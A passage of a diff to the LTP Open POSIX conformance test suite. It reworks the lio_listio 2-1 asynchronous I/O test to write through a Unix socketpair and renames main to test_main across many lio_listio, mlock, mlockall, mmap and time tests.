PTS_ATTRIBUTE_UNUSED, @@ -46,54 +50,81 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +static void read_all(void) { - char tmpfname[PATH_MAX]; - int fd; + int i, ret; - struct aiocb *aiocbs[NUM_AIOCBS]; - char *bufs; + for (i = 0; i < NUM_AIOCBS; i++) { + if (!aiocbs[i].aio_buf) + break; + + ret = aio_error(&aiocbs[i]); + + /* flush written data from the socket */ + if (ret == 0 || ret == EINPROGRESS) { + read(fds[1], (void *)aiocbs[i].aio_buf, + aiocbs[i].aio_nbytes); + aiocbs[i].aio_buf = NULL; + } + } +} + +static void cleanup(void) +{ + read_all(); + free(bufs); + close(fds[0]); + close(fds[1]); +} + +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) +{ + struct aiocb *liocbs[NUM_AIOCBS]; struct sigaction action; struct sigevent event; int errors = 0; int ret; int err; int i; + int bufsize; + socklen_t argsize = sizeof(bufsize); if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) exit(PTS_UNSUPPORTED); - PTS_GET_TMP_FILENAME(tmpfname, "pts_lio_listio_2_1"); - unlink(tmpfname); - - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); - exit(PTS_UNRESOLVED); + ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, fds); + if (ret == -1) { + printf(TNAME " Error creating sockets(): %s\n", + strerror(errno)); + return PTS_UNRESOLVED; } - unlink(tmpfname); + ret = getsockopt(fds[0], SOL_SOCKET, SO_SNDBUF, &bufsize, &argsize); + if (ret == -1) { + printf(TNAME " Error reading socket buffer size: %s\n", + strerror(errno)); + cleanup(); + return PTS_UNRESOLVED; + } - bufs = malloc(NUM_AIOCBS * BUF_SIZE); + /* Socket buffer size is twice the maximum message size */ + bufsize /= 2; + bufs = malloc(NUM_AIOCBS * bufsize); if (bufs == NULL) { printf(TNAME " Error at malloc(): %s\n", strerror(errno)); - close(fd); + cleanup(); exit(PTS_UNRESOLVED); } /* Queue up a bunch of aio writes */ for (i = 0; i < NUM_AIOCBS; i++) { - - aiocbs[i] = malloc(sizeof(struct aiocb)); - memset(aiocbs[i], 0, sizeof(struct aiocb)); - - aiocbs[i]->aio_fildes = fd; - aiocbs[i]->aio_offset = i * BUF_SIZE; - aiocbs[i]->aio_buf = &bufs[i * BUF_SIZE]; - aiocbs[i]->aio_nbytes = BUF_SIZE; - aiocbs[i]->aio_lio_opcode = LIO_WRITE; + liocbs[i] = &aiocbs[i]; + aiocbs[i].aio_fildes = fds[0]; + aiocbs[i].aio_offset = i * bufsize; + aiocbs[i].aio_buf = &bufs[i * bufsize]; + aiocbs[i].aio_nbytes = bufsize; + aiocbs[i].aio_lio_opcode = LIO_WRITE; } /* Use SIGRTMIN+2 for list completion */ @@ -108,53 +139,52 @@ int main(void) sigaction(SIGRTMIN + 2, &action, NULL); /* Submit request list */ - ret = lio_listio(LIO_NOWAIT, aiocbs, NUM_AIOCBS, &event); + ret = lio_listio(LIO_NOWAIT, liocbs, NUM_AIOCBS, &event); if (ret) { printf(TNAME " Error at lio_listio() %d: %s\n", errno, - strerror(errno)); - for (i = 0; i < NUM_AIOCBS; i++) - free(aiocbs[i]); - free(bufs); - close(fd); + strerror(errno)); + /* Clear the aiocbs or cleanup() will get stuck */ + memset(aiocbs, 0, NUM_AIOCBS * sizeof(struct aiocb)); + cleanup(); exit(PTS_FAIL); } if (received_all != 0) { printf(TNAME - " Error lio_listio() waited for list completion\n"); - for (i = 0; i < NUM_AIOCBS; i++) - free(aiocbs[i]); - free(bufs); - close(fd); + " Error lio_listio() signaled completion too early\n"); + cleanup(); exit(PTS_FAIL); } - while (received_all == 0) + read_all(); + + for (i = 0; i < 5 && !received_all; i++) sleep(1); + if (received_all == 0) { + printf(TNAME " Test did not receive I/O completion signal\n"); + cleanup(); + exit(PTS_FAIL); + } + /* Check return code and free things */ for (i = 0; i < NUM_AIOCBS; i++) { - err = aio_error(aiocbs[i]); - ret = aio_return(aiocbs[i]); + err = aio_error(&aiocbs[i]); + ret = aio_return(&aiocbs[i]); - if ((err != 0) && (ret != BUF_SIZE)) { + if ((err != 0) && (ret != bufsize)) { printf(TNAME " req %d: error = %d - return = %d\n", i, - err, ret); + err, ret); errors++; } - - free(aiocbs[i]); } - free(bufs); - - close(fd); + cleanup(); if (errors != 0) exit(PTS_FAIL); printf(TNAME " PASSED\n"); - return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c index ad3c2814..319ce7cd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/3-1.c @@ -54,7 +54,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c index 5d7a9987..edc0329b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/4-1.c @@ -55,7 +55,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c index 7eb64481..a37914e1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/5-1.c @@ -40,7 +40,7 @@ #define TNAME "lio_listio/5-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c index 738ae9dd..f516baec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/6-1.c @@ -31,7 +31,7 @@ #define TNAME "lio_listio/6-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c index 4e8afb60..478c1772 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/7-1.c @@ -56,7 +56,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c index 86803da9..82b27a7c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/8-1.c @@ -35,7 +35,7 @@ #define TNAME "lio_listio/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c index abf9cc06..a7a8be38 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/9-1.c @@ -36,7 +36,7 @@ #define TNAME "lio_listio/9-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 512 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/localtime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/localtime/1-1.c index 96300dde..aae4a2bb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/localtime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/localtime/1-1.c @@ -14,7 +14,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { time_t current_time; struct tm *timeptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mktime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mktime/1-1.c index aa19695d..ebb7584c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mktime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mktime/1-1.c @@ -18,7 +18,7 @@ static struct tm tm_ptr; static time_t tps; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Break down July 4th, 2001 */ tm_ptr.tm_year = 2001 - 1900; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/10-1.c index d60e4635..389b67fa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/10-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c index 3f04b151..82320b10 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/12-1.c @@ -71,7 +71,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; void *ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/5-1.c index 01f16820..47f4d25d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/5-1.c @@ -18,7 +18,7 @@ #define BUFSIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; void *ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/8-1.c index d8722c7f..09656841 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/8-1.c @@ -31,7 +31,7 @@ #define BUFSIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c index 234f374e..e85cb749 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlock/speculative/12-1.c @@ -72,7 +72,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; void *ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-1.c index 2d3a50ac..fb664024 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-1.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-2.c index 1d5f54bd..9fe1624b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/13-2.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c index 1f486092..657344e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/15-1.c @@ -61,7 +61,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c index 409e08e4..2a281129 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-6.c @@ -24,7 +24,7 @@ #define BUF_SIZE 8 #define SHM_NAME "/posixtest_3-6" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { void *page_ptr; size_t page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-7.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-7.c index 9a8a02d5..be52addf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-7.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/3-7.c @@ -20,7 +20,7 @@ #include <stdlib.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { void *page_ptr; size_t page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/8-1.c index c9b7564a..539759cc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/8-1.c @@ -15,7 +15,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c index 1f486092..657344e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mlockall/speculative/15-1.c @@ -61,7 +61,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c index 5174800a..7c0d20ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-1.c @@ -28,7 +28,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; ssize_t len = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c index 5a9fd5b8..c537d468 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/1-2.c @@ -22,7 +22,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c index 2e6c77de..dca6feb9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/10-1.c @@ -32,7 +32,7 @@ #define LOOP_NUM 100000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; unsigned long cnt; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c index 3d78a35c..f3a589e7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-1.c @@ -35,7 +35,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c index be0f140d..a0c6f569 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-2.c @@ -42,7 +42,7 @@ static void sigbus_handler(int signum) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_MEMORY_PROTECTION printf("_POSIX_MEMORY_PROTECTION is not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c index 7d38dacd..67fedb66 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-3.c @@ -40,7 +40,7 @@ static void sigbus_handler(int signum) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_MEMORY_PROTECTION printf("_POSIX_MEMORY_PROTECTION is not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c index 45dc746f..71c2c249 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-4.c @@ -49,7 +49,7 @@ #define TYPE_TMPFS_MAGIC 0x01021994 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c index bc9a007e..d74c5ea3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-5.c @@ -40,7 +40,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c index d1f89910..23e8976f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/11-6.c @@ -42,7 +42,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c index b5c6e0de..82c7eb98 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/12-1.c @@ -34,7 +34,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c index 611ba85a..4aa4abe2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/13-1.c @@ -35,7 +35,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; ssize_t size = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c index 788b374c..e44bae53 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/14-1.c @@ -33,7 +33,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; ssize_t size = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c index 9d02a074..889abf48 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/18-1.c @@ -64,7 +64,7 @@ static int set_nonroot(void) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c index 3b71f89f..1990b658 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/19-1.c @@ -24,7 +24,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { void *pa; int fd = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c index 8ac110c3..9f026726 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/21-1.c @@ -28,7 +28,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c index 19a4959e..e0108a5e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/23-1.c @@ -26,7 +26,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pipe_fd[2]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c index 2ab7b646..eb92f615 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-1.c @@ -56,7 +56,7 @@ void proc_write_val(const char *path, size_t val) fclose(procfile); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c index 9cf83d9a..0bc6dc79 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c @@ -30,7 +30,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[256]; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c index 3b2ad029..d52254b3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/27-1.c @@ -31,7 +31,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int total_size = 1024; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c index c92e3064..ee63948f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/3-1.c @@ -34,7 +34,7 @@ #include "tempfile.h" #ifdef MAP_FIXED -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char tmpfname2[PATH_MAX]; @@ -133,7 +133,7 @@ int main(void) return PTS_PASS; } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("MAP_FIXED was not defined at the time of compilation\n"); return PTS_UNRESOLVED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c index 7420d449..3354085b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/31-1.c @@ -38,7 +38,7 @@ #include "posixtest.h" #include "tempfile.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mmap/32-1.c index d58fc8c4..9a1fa3bb 100644 --- 